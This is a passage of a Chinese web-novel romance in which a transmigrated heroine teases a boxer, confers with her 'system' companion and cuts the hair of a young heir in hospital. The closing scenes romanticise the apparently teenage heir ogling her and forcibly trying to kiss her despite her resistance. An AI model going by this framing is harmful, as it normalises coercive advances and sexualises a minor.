今天是他鬼迷心窍,才会来自取其辱。 他甚至不敢回想姜以柔靠在方隐年怀里的那副画面。 他更怕再多呆一秒, 真的会忍不住…… 可他刚迈出一步,身后便传来一道带着凉意的娇媚嗓音。 “站住。” 谢凛的脚步如同瞬间被钉住,理智叫嚣着离开,身体却背叛了意志。 姜以柔懒洋洋地抱臂倚在墙上,目光像带着钩子,从他宽阔紧绷的肩背,慢悠悠地滑到劲瘦有力的窄腰,再落到那双修长有力的腿上。 这具身体充满了最强悍的雄性力量,此刻却因她而紧绷、挣扎。 姜以柔眸光微闪,唇角勾起一个意味不明的冷笑。 不让亲是吧? 行。 她瞬间变脸,又恢复了那副温婉柔媚的模样。她绕到谢凛身前,抬起小脸望向他时,眼中蒙上一层楚楚可怜的水光。 姜以柔轻咬了下饱满的红唇,潋滟的眸中透着欲说还休的幽怨,最后化为一声轻叹: “好吧,我尊重你的决定。” 她轻轻抽了抽鼻子,嗓音带着委屈的颤音:“既然你不想……那我以后会注意保持距离的。” 话音落下,谢凛的身形几不可察地僵硬了一瞬,但他硬撑着没有看向姜以柔,也一句话都没说。 紧接着,姜以柔轻轻拽了拽他的衣角,语气柔软又无助:“但是……谢凛,你可不可以帮我揉一下脚?” “我今天穿高跟鞋出门,脚磨得很痛……” 她仰着脸,用那种湿漉漉的期盼眼神望着他,脆弱得让人无法拒绝的。 闻言,谢凛下意识地蹙紧眉头,视线立刻落在她的脚上。 姜以柔今天穿了一双八厘米左右的细高跟,衬得她脚踝纤细白皙,脚背到小腿的曲线也美得惊人,但脚后跟那里确实被磨得有些红,如白玉微瑕般刺眼。 谢凛的胸膛重重起伏两下,无奈地闭了闭眼睛,似乎在隐忍。 他紧绷着一张俊脸,最终像是认命般,沉默地屈膝半跪下去,小心地托起她的脚踝。 高大的身躯又一次在她面前俯首,是无声的妥协,更是臣服。 姜以柔的唇角勾起一抹得逞的笑意。 谢凛想将她的脚抬起仔细查看,姜以柔却哎呀一声,娇声道:“你轻点嘛,我站不稳了!” 谢凛皱了皱眉,环顾四周想找地方让她坐下,却猝不及防地愣住了—— 姜以柔柔软的手掌抚上他宽阔的肩,像是在丈量着什么。 然后,她细腰一扭,竟轻盈地反身直接坐到了他一边的肩膀上。 谢凛正半跪在地上,一侧膝盖跪地,另一条长腿支起,姜以柔恰好能坐在他的肩膀上,纤细柔软的腰腹和腿根紧密地贴着他颈侧和脸颊,温热与幽香瞬间将他包围。 姜以柔有些羞涩地笑了笑,声音又轻又软:“就这样揉,好不好?” 说着,她轻巧地踢掉一只高跟鞋,那只白皙纤巧、泛着微红的玉足,轻轻踩在了谢凛支起的膝盖上。 小巧精致的足搭在黑色工装裤上,更显得白皙柔弱,深深刺激着谢凛的眼球。 谢凛怔怔地看着膝盖上的那只脚,呼吸骤然粗重起来。 他下意识抬头,脸颊却更深地陷进她温软的腰腹间,视线所及是她饱满起伏的胸口,他整个人都像是埋进了柔软的云中,呼吸间全是那股撩人的幽香,让他热血沸腾。 姜以柔唇角噙着娇柔的笑意,居高临下地睨着他,眼尾轻挑间仿佛吸人精气的妖魅。 谢凛死死盯着她,喉结疯狂滚动,眼底翻涌着骇人的欲色,仿佛下一秒就要将她彻底吞噬。 但他最终还是极其克制地低下头,避开了那令人失控的风景。 他兀自调整了会儿呼吸,大手有些颤抖地握住她微凉的脚踝,开始轻轻地揉按她酸痛的部位。 谢凛的手掌宽大而粗糙,指节上全是常年打拳留下的硬茧,这样一双手捏着姜以柔的脚,有种猛虎嗅蔷薇的强烈反差感。 他的手法意外地不错,姜以柔舒服地眯起眼,像只被顺毛的猫。 很快,她的眼神又开始不安分地在谢凛的身上流连,不知道在想些什么。 她突然伸出手,指尖轻轻划过他紧绷的侧脸,勾着他的下巴迫使他抬起头。 谢凛揉捏的动作瞬间停滞,黑眸沉沉地与她对视。 姜以柔用指尖摩挲着他的下颌,亲昵又撩拨。她笑容妩媚,轻声道: “谢凛,要不要接吻?” 她亲密地倚坐在他肩头,连脚都被他牢牢地握在手中,这样极致暧昧的姿势下,姜以柔轻声细语地问他: “要不要接吻?” 如同海妖的低语,抛来诱惑的橄榄枝。 谢凛的瞳孔骤然缩紧,全身肌肉瞬间绷如硬铁,眼中压抑的暗火轰地烧成了燎原之势。 眼睁睁看着谢凛被她勾得眸色猩红,呼吸急促,姜以柔原本妩媚的笑脸,却瞬间冷淡下来。 “啊,抱歉,我忘了,你不愿意跟我接吻的。” 姜以柔变脸比翻书还快,自顾自说了一通后,遗憾地做出结论: “那算了。” 谢凛眸底翻涌的□□都停滞了一瞬,愣愣地看着她,许久都没回过神来。 下一秒,姜以柔的脚已利落地从他掌心抽离,塞回了高跟鞋中。 她轻盈地离开他的肩膀,后退两步与他拉开距离,又优雅地抚平裙摆。 姜以柔居高临下地睨着半跪在地上的谢凛,笑容变得疏离而矜持,淡声道:“我的脚好多了,谢谢你。” “我先回去了。” 这次,换她毫不留恋地转身离开。 可她刚迈出一步,手腕就被一只滚烫灼热的大手猛地攥住,一股巨大的力量将她狠狠拽回—— 天旋地转间,她再次被死死按进那具剧烈起伏的、滚烫的胸膛里。 谢凛双眼赤红地盯着她,像一头被彻底激怒的野兽,从齿缝里挤出嘶哑的声音:“你故意的……” 故意勾引他,故意……戏弄他。 故意欣赏他失控的样子,却又轻易将他推开。 姜以柔迎着他骇人的目光,嫣然一笑,大大方方地承认道:“对啊,我就是故意的。” “所以……” 她一把拍开谢凛的手臂,冷笑着嗤道:“憋死你活该!” 她娇哼一声,用力挣脱他的禁锢,扭身就走,高跟鞋踩在地上发出清脆又决绝的声响。 谢凛死死盯着她那如水蛇般曼妙摇曳的背影,额角青筋暴起,全身的肌肉都因极致的隐忍而绷紧。 他闭上眼,深吸了好几口气,强压□□内几乎要将他撕裂的暴戾与欲望,最终,他强迫自己冷静下来,沉默地跟了上去。 姜以柔听到身后的脚步声,立刻转身,没什么好脸色地刺道:“还跟着我干什么?” 谢凛紧抿着唇,声音低哑却不容置疑:“送你回去。” 哪怕只有短短一段路,他也无法放心。 姜以柔白了他一眼,没再说话,自顾自往前走。 他沉默地跟在她身后,像一道沉默而忠诚的影子,一直护送她到楼下,走进电梯,直至她家门口。 姜以柔站在门前,抱着手臂,皮笑肉不笑地问:“要进来坐坐吗?” 在她的冷眼之下,谢凛眸中的暗潮缓缓平息,最终归于一片深沉的寂寥。 他默默地垂下眼眸,良久,才低声道:“……走了。” 说完,他干脆地转身,背影在空旷的楼道里拉出长长的影子。 姜以柔静静地站在家门口,又一次看着谢凛离开时孤寂的背影。 让她不由得回想起几天前,谢凛也是这般狼狈却决绝地转身离开。 姜以柔面上的冰冷之色终于绷不住了,她纠结地咬住下唇,眼底浮现出一丝埋怨。 这家伙,怎么这么倔啊! 眼看着谢凛真的要离开,姜以柔最后还是心软了。 她轻轻喊了一声:“谢凛。” 谢凛又一次停下了脚步。 好像无论他多生气,多痛苦,在姜以柔需要他的时候,他永远会心甘情愿地驻足。 姜以柔小跑着朝他奔去,从背后一把抱住了那劲瘦的腰。 她的脸颊贴着谢凛的后背,她再一次耐着性子,温声细语地哄道: “留下来吧,谢凛。” 第47章 姜以柔紧紧圈着那劲瘦有力的腰, 她能感觉到,在她说完让他留下来后,掌下的肌肉瞬间绷得很紧, 硬烫得像一座随时要爆发的火山。 谢凛微微垂眸,黑沉的目光落在那拦在自己腰腹的藕臂上,纤弱、白皙, 如白瓷一般脆弱, 他轻易便能挣脱。 可此时此刻,他却像是失去了全身的力道, 别说挣脱了,甚至连动都动不了。 过了很久,谢凛才缓缓抬手, 覆上了腰腹处的那双柔荑, 他那一拳能打出百公斤以上冲击力的手,此时竟在微微颤抖。 谢凛的手是健康的蜜色,从手背到小臂纵横着凸起的血管,充满爆发力的雄性气息。 当这样一双手掐住姜以柔凝脂般细弱的手腕时, 那粗粝滚烫的热度简直能烫进人心里, 碰撞出让人脸红心跳的反差。 感受到他掌心的力道,姜以柔心中一喜,以为他终于妥协了。 然而下一秒, 她就彻底笑不出来了。 谢凛掐着她的手腕稍一用力,便将那环住他腰的手扯了下来。 他握着姜以柔的手腕紧了又松, 手背上青筋暴起, 似乎忍得艰难。 片刻后,他终于缓慢却坚定地松开了那截细瘦的手腕,两人原本紧贴的距离就这样被拉开。 谢凛沉沉地吐息着, 宽厚的胸膛剧烈起伏,他低垂着眼眸,看不清神色,那紧绷的唇角却昭示着他痛苦的挣扎。 姜以柔不自觉后退两步,怔怔地看着他的背影。 谢凛在原地顿了好一会儿,终于迈开脚步,缓缓向前走去。 沉重而缓慢的脚步声在安静的楼道中回荡,谢凛就这样一步一步离开了。 他没有回头。 姜以柔抿着唇,神情复杂地盯着谢凛的背影,直到再也看不见,才无奈地叹了口气。 系统666适时地开口道:“宿主,别妄想了。反派目前虽穷,但其实是个很骄傲的人,他不会愿意当一个没名没分的情人。” 姜以柔沉默片刻,突然意味不明地笑了一下,问道:“小六,听说过反弹效应吗?” 她漫不经心地抱起手臂,懒洋洋地说道:“压抑得越狠,最后爆发得就越强烈。” 姜以柔深深地看了眼谢凛离去的方向,轻哼一声:“我看他还能忍多久。” 等到谢凛忍无可忍的那天……相信他不会让她失望的。 姜以柔缓缓眯起一双妩媚多情的眸子,笑得意味深长。 她转身回了家,进屋后,姜渔第一个迎了上来。 她紧皱着眉头,语气很冲,但眼神里满是担忧,说:“你怎么去了这么久?” 说着她看向姜以柔的手里,却愣了一瞬,呆呆地问道:“醋呢?” 她不是要去买醋吗?结果去了这么久,却根本没有买回来! “醋?”姜以柔露出一个古怪的笑意,轻嗤道,“刚才已经喝饱了,就没买。” 说着,她径自回了卧室,疲倦地说道:“我累了,晚饭不用叫我。” 姜渔傻傻地盯着她的背影,随即陷入了沉思。 醋……喝饱了? 什么意思啊?! 回到卧室后,姜以柔先洗了个澡,直到躺进柔软的被褥中,她才缓缓舒了口气。 系统666迫不及待地冒泡道:“宿主,我之前就想问了,为什么你参加家长会的时候,那些人都对你那么热情啊?” 明明在原著里,恶毒女配的天龙人同学们都对她嗤之以鼻,天龙人的家长自然也对姜渔没什么好脸色。 但是……姜以柔去开家长会的时候,那一屋子的天龙人却对她殷勤得吓人! 差点让666以为他们穿错世界了。 姜以柔早就习惯了没有审美的666那痴呆发言,懒得跟他解释什么,随口敷衍道:“谁知道他们怎么想的。” 系统666忍不住嘀咕道:“我总感觉有几个男家长对你的态度怪怪的。” 姜以柔笑了笑,漫不经心地说道:“男人嘛,又是有钱的男人,他们也就是初具人形罢了,实际上……恶心得很。” 姜以柔敢肯定,如果不是方隐年给她撑腰,她后续会收到无数骚扰。 利诱,甚至威胁,无所不用其极。 所以……姜以柔眸中漾起狡黠之色,轻笑着呢喃道: “不枉我特意把要去家长会的事情告诉苏特助……” 某人果然上钩了。 系统666疑惑地问道:“宿主,你自言自语地嘀咕啥呢?” 姜以柔懒洋洋地翻了个身,闭着眼睛说道:“我说……有些人平日里装的一本正经、清心寡欲,还说什么修佛二十多年,实际上嘛……” 姜以柔意味深长地轻笑一声,未尽的话没有说出口,唇边的笑容却带着玩味的讽意。 系统666没听懂她意有所指的话,只突然提起一件事,语气中带着愁绪:“对了,宿主,你今天把一个剧情搞乱了!” “原本赵文泽要在今天给男二号赵承办理转学的,结果现在没办成,女主和男二的剧情还怎么开展?!” 姜以柔不爽地“啧”了一声:“这又不怪我,谁让赵文泽那么恶心的?” 上来就说要包养她,她给点教训也是应该的。 姜以柔唇边的弧度有些冷,美眸中是明晃晃的嫌弃,说道:“真没想到,女主和男二会有那样的父亲,一个两个都不是什么好东西。” 系统666回应道:“男二他爸确实难评,但女主她爸还好吧?” 姜以柔轻嗤一声:“一个有家庭的男人,却还主动跟我献殷勤,能是什么好东西?” 系统666疑惑道:“啊?林松齐有向你献殷勤吗?他不就是说你有点眼熟吗?” 姜以柔忍不住笑出声来,说道:“小六,你也太不懂人情世故了吧?” “如果有人说,‘我好像在哪里见过你’类似的话,很明显就是在搭讪啊。”姜以柔耐心地为他科普道。 系统666沉默片刻,下一秒却语出惊人道:“宿主,还真的不一定哦。” “你还记得自己是身穿吧?其实这个世界原来的‘姜以柔’,根本不长你这个样子。” “只是我强行修改了所有认识你的人的记忆,当他们看到你时,会自动把你的相貌,跟脑海中姜以柔的形象关联起来。” “所以……”系统666严肃地说道,“林松齐说不定之前真的见过‘你’,不过他见的应该是曾经的‘姜以柔’。” “而他很可能对‘姜以柔’这个人的印象已经十分模糊了,所以才会在见到你的时候,既觉得眼熟,却想不起来在哪里见过。” “是吗……”姜以柔怔住了。 随即,姜以柔笑容微敛,蹙眉沉思着什么,突然问道:“那乐柠她爸还能想起我吗?” “不好说,可能永远也想不起来,也可能只差一个契机。” 系统666说道:“如果他能突然想起自己曾认识一个叫‘姜以柔’的人,那他就会自然而然地对应上你的脸,也就能认出你来了。” 姜以柔若有所思地揪了揪身上的被子,这一刻,许多细节在她脑海中闪过。 比如,她跟林松齐握手的时候,姜渔好像特别紧张…… “难不成他还真的认识‘姜以柔’?”她不由得喃喃道。 可是……林松齐不是港城的豪门吗?跟在S市挣扎求生的姜家人能有什么交集呢?这也太不可思议了。 “小六,你不是人工智能吗?赶紧帮我搜一下‘我’和林松齐的关系啊!”姜以柔出声催促道。 系统666却丧气地说道:“我第一时间就查过了,但没有任何发现。” “唯一的交集是……呃,‘姜以柔’死了的那个老公也姓林,但他的名字不叫林松齐啊!” 姜以柔下意识地问道:“该不会是兄弟吧?” 系统666斩钉截铁道:“不可能,无论是你那个死鬼老公,还是林松齐,他们都没有兄弟。” 闻言,姜以柔眸光微闪,不知道在想些什么,然后她继续追问道:“没有其他信息了吗?” “真的没有了。” 系统666想了想,补充道:“可能是因为,我只能查到林松齐明面上的所有资料,他有没有一些不为人知的秘密,我就不知道了。” 姜以柔“啧”了一声,“看来得找人打听一下豪门秘辛了……” 姜以柔突然望向自己的梳妆台,那上面静静地躺着一对珍珠耳坠,是她洗澡前刚摘下来的。 那对珍珠耳坠是她带着姜渔去买马具时,遇到的一位热心豪门贵妇送她的,当时她们还交换了联系方式。 那位张茜张太太时不时就发消息约她喝茶,只是她最近每天去医院看望方镜麒,就推掉了她的邀约。 看来,是时候跟她约一下时间了。 姜以柔当机立断,直接掏出手机打了个电话。 “喂,张姐,最近有时间出来喝茶吗……” * 第二天,当姜渔走进教室时,有种走入了什么校园怪谈的感觉。 因为,在她进门的一瞬间,整个教室的学生全都直勾勾地朝她看了过来,他们一个个神情狂热,眼睛里直放光。 这一刻,姜渔后背的汗毛都竖起来了,竟然有种拔腿就跑的冲动。 往常她进教室时,偶尔也会有这样的瞩目,这一般意味着,这群大少爷大小姐想到了新奇的整蛊她、嘲笑她的法子,迫不及待要试一下。 现在他们的眼神,比之前更加露骨,仿佛盯上猎物的狼,一双双眼睛都闪着绿光。 姜渔不由得攥紧了书包带,心里的警惕达到了顶峰。 就在姜渔屏住呼吸严阵以待时,她的同学终于动了,一个个争先恐后地朝她跑来。 “哎呀,姜渔你来啦?快坐快坐,上学辛苦了。” “姜渔,你要不要尝尝我的早餐啊?可好吃了!” “不不不,别吃他的猪食,这是我特意给你带的,比他的好吃!” “姜渔,我爸妈说要资助你!你别误会啊,不是可怜你什么的,就是觉得你成绩好,值得更好的学习条件……” “姜渔,嘿嘿,姜渔……那个,我能去你家玩吗?” 好几个学生蜂拥般围上了姜渔,男男女女都有,一个个兴奋得脸颊通红,激动中竟然还带着一点羞涩。 姜渔:“……” 这群人是被什么脏东西附身了吗? 第48章 今天, 高二2班的同学们一改往日的倨傲纨绔,对姜渔这个特优生格外热情,甚至到了殷勤的程度。 姜渔僵硬地站在原地, 她依旧是那副拒人千里之外的冷脸,但眼神却有些恍惚。 片刻的无措后,姜渔慢慢镇定下来, 她绷着脸想要甩开这群人, 却愣是被缠得脱不了身。 旁边,尹东宇欲哭无泪地看着围在姜渔身边的“人墙”, 心塞得无法呼吸。 尹东宇是最早见过姜渔妈妈的几个人之一,当初是他给姜以柔带路去的校长室,从那天起, 他就坚持不懈地跟姜渔套近乎, 可她就跟个冰块似的捂不热,对他一直不假辞色。 他本来还想着慢慢攻略,早晚有一天能成为姜渔的好朋友,进而登堂入室…… 结果现在——全班同学都见过姜渔妈妈了! 这下他更没机会了呜呜呜…… 跟尹东宇一样心塞的, 还有乐柠。 她站在不远处, 紧紧盯着姜渔被众人簇拥着的模样,愤愤地抿了抿唇。 “姜渔这家伙……”乐柠揪了揪自己的衣摆,眼睛里满是委屈。 昨天家长会的时候, 她好心给姜渔介绍自己的爸爸,结果她却吼她“滚”。乐柠好一阵伤心, 犹还记仇呢, 今天上学前她还发誓,除非姜渔跟她道歉,否则绝不原谅她! 乐柠原本想着今天一定不搭理姜渔, 结果……现在看到姜渔如此受欢迎,她心里陡然升起一股危机感。 再这样下去,她这个姜渔最好的朋友(自封)岂不是地位要受威胁?! 不过下一秒,乐柠又松了口气。 因为姜渔彻底冷下脸来,甚至狠狠推开了一个离她过近的男生,满脸都是嫌恶之色。见状,围堵她的同学们神情讪讪,终于收敛了一些。 姜渔面无表情地拒绝了所有人的示好,连同所谓的资助也一并拒绝了。她用力挤出人群,自顾自走向座位,对所有人的套近乎都不假辞色。 很多学生在努力了几回后,见姜渔始终不为所动,只能垂头丧气地离开。 但还有人坚持不懈,跟个狗皮膏药似的甩不脱。 “姜渔,你能帮我约你妈妈做模特吗?”一个高个儿女生急切地想去抓姜渔的手臂,见她不悦地皱起眉头,又赶紧收回手。 她面带恳求,不依不饶地说道:“求你了,姜渔,你妈妈太美了,她简直是我的灵感缪斯,如果这辈子不能让她当我的模特,我会死不瞑目……” 女生的妈妈是国际知名服装设计师,她自己也从小对服装设计很感兴趣。 在她六岁的时候,她亲手设计的衣服便出现在了巴黎的秀台上,到目前为止,她已经斩获了很多国际奖项,前途不可限量。 现在,她满脸狂热,不停地缠着姜渔,想让她妈妈做自己的模特。 姜渔一大早被这些人缠得无比暴躁,她低头看着书,却第一次一个字都读不进去,耳边全是聒噪的声音,吵得她头疼。 正当她想要爆发的时候,教室后方突然传来砰的一声巨响。 所有声音都停滞了一瞬,众人下意识地转头看去,就见班里一个很活泼的女生,此时却猛地掀翻了桌子。 桌子倒地,书本散落一地,那个死死地盯着姜渔,她眼圈泛红,面色狰狞,气得身体都在微微颤抖。 她抬手指向姜渔,嘶声吼道:“你们有病啊?干嘛一个个都围着姜渔转,就为了她那个妈吗?” 女生抬手揉乱了自己的头发,状若疯狂地大喊大叫道:“她妈不是个好东西,她妈就是个狐狸精!” “我爸昨天见过她妈后,回去就吵着要跟我妈离婚,都是她妈不要脸,故意勾引我爸……” 话音未落,姜渔已然面色铁青。 她猛地站起身来,恶狠狠地瞪向那个女生,厉声喝道:“你给我闭嘴!” 姜渔抬起一根纤细的手指,直直地点向她,一字一句地冷声道:“再敢说我妈妈的坏话,我跟你不客气!” 这时,乐柠也第一个站了出来。 她一改平日的恬静乖巧,猛地护到姜渔身前,像个护崽的母鸡,气势汹汹地说道:“你不准骂姜阿姨,也不准欺负小渔!” 其他同学也纷纷站出来,有的回怼她,有的安抚她。 “你这不是无理取闹吗?这事儿明明是你爸爸的问题,你干嘛怪姜渔妈妈呀?” “就是啊,昨天家长会我看得清清楚楚,姜渔妈妈根本就没有跟你爸说过一句话!” “你爸要为了姜渔她妈离婚?别搞笑了,姜渔她妈认识你爸吗?” “据我所知,你爸都出轨十几年了吧?他的私生子比你还大呢,你真正该恨的是你爸呀!” “对啊,你爸不是去年就跟你妈妈提离婚了吗?我都听说了……” “而且,姜渔妈妈不是跟方少的小叔……” 提到方隐年,周围安静了一瞬,脸上不自觉带了些敬畏。 他们无奈地看着那女生,真心劝说道: “你赶紧给姜渔道歉吧!” 竟然敢骂姜渔的妈妈,别说他们不忍心看着大美人受委屈,要是被那位方总知道了…… 后果不堪设想啊! 在众人你一言我一语的指责下,那名女生的家丑几乎被扬了个精光。她清秀的脸上血色尽失,身体抖如筛糠,整个人都到了崩溃的边缘。 姜渔原本还冰冷地瞪着她,但是,在听到她父亲做的那些破事后,她神情微怔,连汹涌的怒火都停滞了一瞬。 过了一会儿,眼看着众人还在小声讨论着那名女生的家庭隐私,姜渔突然沉着脸吼了一声: “够了!” 大家顿时都不说话了,静静地看着姜渔。 姜渔深吸一口气,她神色复杂地盯着那个满脸泪痕的女生,沉声警告道:“不要再污蔑我妈妈。” 说完,她便转身坐好,不再理会周围的纷纷扰扰。 那名女生愣愣地发了好一会儿呆,突然大哭着冲出了校门。 有的同学担心她,跟着冲了出去,还有的人去叫老师,教室里一时间安静下来。 这时,乐柠走到姜渔面前。 她忘了自己还在生姜渔的气,小心翼翼地打量着她的脸色,问道:“姜渔,你没事吧?” “你放心,我们都知道姜阿姨是什么人,不会听她瞎说的,你别放在心上……”乐柠有些语无伦次地安慰道。 姜渔身形一滞,突然抬头望向她,那眼神很是复杂。 乐柠微微一怔,随即对她露出一个没心没肺的笑容。 姜渔本来不想理她,但想起这人傻乎乎地总往她面前凑,之前还冒着危险救了险些坠马的她…… 姜渔抿了抿唇,突然问道:“她的爸爸好像很烂,那……你的爸爸呢?” “我爸爸?”乐柠下意识地答道,“我爸爸最好了啊!” 提起爸爸的时候,乐柠脸上扬起毫不作伪的笑容,满脸都是依赖和濡慕。 然而,姜渔却很是煞风景地冷笑一声,说道:“你小心点吧,说不定……你爸比她爸还烂。” “你……”乐柠瞬间变脸,瞪着她怒声道,“你怎么这样?!” 乐柠是真生气了,直接冷着脸回到了自己的座位上,将书本摔得啪啪响。 她心里委屈又气愤,明明她刚才还帮姜渔出头,结果姜渔居然污蔑她爸爸! 乐柠不知道的是,此时此刻,姜渔正目光复杂地盯着她的背影。 面上满是欲言又止的忧虑。 * 同一时间,姜以柔正在睡觉,她可不知道自己在家长会的惊艳亮相,给女配的校园生活带来了翻天覆地的变化。 她是被一阵电话铃声吵醒的。 “喂?”姜以柔摸过手机,连眼睛都没睁开,迷迷糊糊地问道。 手机那头沉默片刻,传来一个低沉而不悦的少年音。 “昨天为什么没来?” 姜以柔反应了好一会儿,才有些懵地呢喃道:“方镜麒?” 她的嗓音还带着晨起时的微哑,比起平日的温柔矜持,更显出种慵懒的媚意,听得人耳根发酥,心里发颤。 而且,她以前总是笑着喊“方同学”,这还是第一次直呼方镜麒的名字。 手机那头安静了好久,等方镜麒再开口时,他嗓音紧绷,再没了之前气势汹汹质问的语气,反而有些磕巴。 “你、你……还在睡觉?” 姜以柔打了个哈欠,从床上翻身坐起,懒洋洋地回应道:“现在醒了。” 方大少的语气有些别扭,似乎还带着点心虚,“我不是故意吵醒你的……” “没关系,这个时间我也该醒了。”姜以柔好脾气地回应道。 她可还记得呢,这位方大少算是她的“雇主”,去探望一次就能拿50万,她对ATM向来和颜悦色。 方镜麒便继续追问道:“你昨天为什么没来看我?” 姜以柔随口解释道:“我跟苏特助说过了呀,我给小渔开家长会去了。” “那……”方镜麒急促地说道,“那你今天总该来了吧?” 姜以柔笑了笑,哄小孩般柔声安抚道:“我马上就到。” 方大少轻哼一声,这才挂了电话。 姜以柔说到做到,起床后简单收拾了一番,直奔明德私立医院。 她刚来到方镜麒的病房门口,就听到里面隐隐传来争吵声,方镜麒不耐烦的怒喝格外明显。 她好奇地推开房门,里面的争吵声顿时戛然而止。 病房内,方镜麒正抱臂坐在椅子上,满脸不耐烦地催促着什么。 在他对面,苏正手里拿着一管类似药膏的东西,他浑身僵硬,进退不得,为难得额上冷汗直冒。 在姜以柔推门而入的一瞬间,方镜麒脸色微变,蹭的从椅子上坐了起来,“你怎么这么快就来了?” 姜以柔挑了挑眉梢,故意问道:“怎么,不想见到我?” 方镜麒急得立刻反驳:“当然不是!” 他不爽地瞪了苏正一眼,似乎在埋怨他拖延时间,随即有些不自在地解释道:“我就是……还没准备好。” 苏正捏着手里的东西欲哭无泪,望着姜以柔的目光里全是感激,仿佛看到了救星。 姜以柔多问了几句,这才知道发生了什么,顿时有些哭笑不得。 原来是方大少突然发现自己长出了黑色的发根,严重影响了那头白毛的帅气程度,所以他就逼着苏正帮他补染发根,想要在姜以柔面前保持最完美的形象。 苏正当然不敢答应。 他擦了擦额上的冷汗,苦笑着对姜以柔道:“姜小姐,拜托您帮我劝劝方少吧,他还受着伤呢,怎么能这么折腾?” 方镜麒不耐烦地瞪着他,冷声道:“我是手受伤,又不是脑袋受伤,染发有什么关系?” 哼,都怪这个苏正推三阻四地磨叽,害得他没能在姜以柔来之前染好头发。 方镜麒不由得抬手摸了摸自己的白发,脸色有些难看。 姜以柔该不会觉得他这样很丑吧…… 方镜麒危机感陡增,有些紧张地瞟着姜以柔的神色。 听完事情的原委后,姜以柔无奈地横了方镜麒一眼,那带着嗔怪之意的妩媚眼波,让方镜麒瞬间怔住,脑子里什么都忘了。 姜以柔径直走上前,拿过苏正手里的染发膏,温声劝道:“你现在应该好好养伤,别折腾了。” 看着姜以柔温柔含笑的脸,方镜麒刚才那嚣张的气焰瞬间消散了。 但他仍有些不甘心地摸了摸头发,皱着眉嘀咕道:“但这样太丑了……” 姜以柔仔仔细细地打量着方镜麒,那一头张扬的银发长出了黑色发根,看着确实没有之前酷帅。 但方镜麒那张脸足够优秀,棱角分明的俊帅,飞扬的眉眼间还带着傲然的少年气。有这样好看的一张脸,别人反而关注不到他的头发。 姜以柔盯着他的脸看了许久,直把方镜麒盯得不自在地红了脸,突然语出惊人道:“要不你把头发剃了吧?” 方镜麒闻言一愣,一时间没说话。 旁边的苏正大惊失色,拼命朝姜以柔使眼色。 天啊,姜小姐,方少正是最在意发型的年纪,谁要动他的头发,他要跟人拼命的! 就连他们方总也管不了镜麒少爷的头发啊! 然而,出乎他意料的是,方镜麒没有大发雷霆,只若有所思地摸了摸头发,直勾勾地盯着姜以柔问道:“剃了会不会不好看?” 姜以柔左右端详着方镜麒的脸,笑着说道:“我反而觉得会很好看。” 方镜麒沉默片刻,然后竟点了点头:“好。” 他薄唇微抿,继续提要求道:“那你给我剃。” 姜以柔绽开一个明艳动人的笑,“好啊。” 直到方镜麒催促苏正去准备电推刀,苏正才恍恍惚惚地回神。 他深深地看了方镜麒一眼,很快又垂下视线,掩住了眸中的复杂之色。 魔王一样的方大少,却被姜小姐吃得死死的。 其实,如果有这么一个人能治住方镜麒的话,也挺好的,可关键是…… 苏正想起方隐年近日来对姜小姐那不自觉的关注,不由得沉沉地叹了口气。 如今风平浪静的表面下,却是暗流涌动的危机。 如果有一天,方大少知道他的叔叔也对姜小姐…… 这叔侄俩还能好吗?该不会反目成仇吧?! 一想到此,苏正心头像是压了块巨石,心不在焉地出门买剃头工具了。 半个小时后,方镜麒端坐在椅子上,姜以柔拿着电推刀,在他脑袋上来回比划。 方镜麒难得有些忐忑,最后一咬牙道:“你直接剃吧。” 不管最后剃成什么样,他都认了。 谁让姜以柔说,觉得他剃了头会好看呢? 姜以柔温声一笑:“那我开始了。” 随着电推刀轻微的嗡鸣声响起,一缕缕银发落下,方镜麒的脑袋也越来越“干净”。 方镜麒一开始还揪着一颗心,分外忐忑,但很快,他的注意力就不在自己脑袋上了。 姜以柔窈窕纤细的身躯一直在他面前晃动,那股熟悉而撩人的幽香直往他鼻子里钻,搅得他心魂荡漾。 最后,姜以柔站定在方镜麒的面前,认真地进行最后的“收尾”。 方镜麒坐在椅子上,大马金刀地叉着腿。姜以柔就站在他双腿之间。 方镜麒下意识地仰头看她,哪怕是仰视的角度,她也同样美得惊人,方镜麒不自觉就看痴了。 姜以柔察觉到他的视线,居高临下的睨了他一眼,那一瞥仿佛神女的垂怜,有种清冷的距离感,却瞬间点燃了方镜麒的血液。 他仰头死死盯着她,凸起的喉结明显滚动几下,狭长凌厉的凤眸中燃起隐隐的暗火。 姜以柔“啧”了一声,抬手将他的脑袋往下按,“别看我。” 一直仰着头,她都剃不到后面的头发了。 方镜麒倒是没跟她犟,顺着她的力道低头,他的视线也随即下落,正好对上她饱满起伏的胸口。 他的鼻尖几乎快贴了上去,他甚至能想象得到那绵软的触感。方镜麒的呼吸乍然粗重起来,凤眸中的暗火越燃越烈,成了席卷全身的□□。 他猛地抬起头,直勾勾地盯着姜以柔,那赤祼而不加掩饰的目光像个狼崽子。 在他抬头的一瞬间,姜以柔惊呼一声。 因为方镜麒这猝不及防的动作,电推刀在他的脑袋上留下了一道触目惊心的血痕,正在缓缓地渗出刺目的鲜血。 姜以柔心里一紧,黛眉微蹙,下意识地埋怨道:“你乱动什么……” 她还没来得及说完,腰肢便被一只灼热的大手猛地握住。 方镜麒仿佛根本感受不到脑袋的刺痛,只直勾勾地仰头盯着她开合的红唇,嘴里突兀地蹦出一句话: “我想亲你。” 那嗓音低沉而嘶哑,根本不像是在询问,倒像是在通知。 姜以柔微微一怔,遂无奈地轻斥道:“别乱说话。” 方镜麒那灼热的目光太具有侵略性,姜以柔下意识地移开了眼,下一秒却愣住了。 她的视线无意间扫过病房门口,却看到方隐年不知何时站在了那里。 方隐年面容平静地站在门口,一双凤眸幽深不见底,像是一尊沉默而威严的塑像。 他不知在门口看了多久,又听了多久,只静静地看着他们不作声,英俊的面上不见丝毫波澜。 姜以柔还没来得及反应,方镜麒已经气势汹汹地吻了上来。 姜以柔心里一惊,赶紧扭头,又伸手去抵挡,但方镜麒一身蛮力,执拗地箍着她的腰,火热的眼神紧盯着她的唇不放。 第49章 察觉到姜以柔的闪躲后, 方镜麒眸光微沉,他一手箍住那柔软的细腰,一手扶住她的后脑, 不依不饶地要去亲那诱人的红唇。 姜以柔情急之下只能一把捂住他的嘴,并狠狠瞪了他一眼。 那潋滟的眼波没有丝毫威慑力,反倒让方镜麒的呼吸更加粗重, 灼热的鼻息打在她柔嫩的掌心, 姜以柔的手都不自觉颤了颤。 方镜麒一把圈住她的手腕,他手指修长, 握住那细瘦的手腕还绰绰有余。 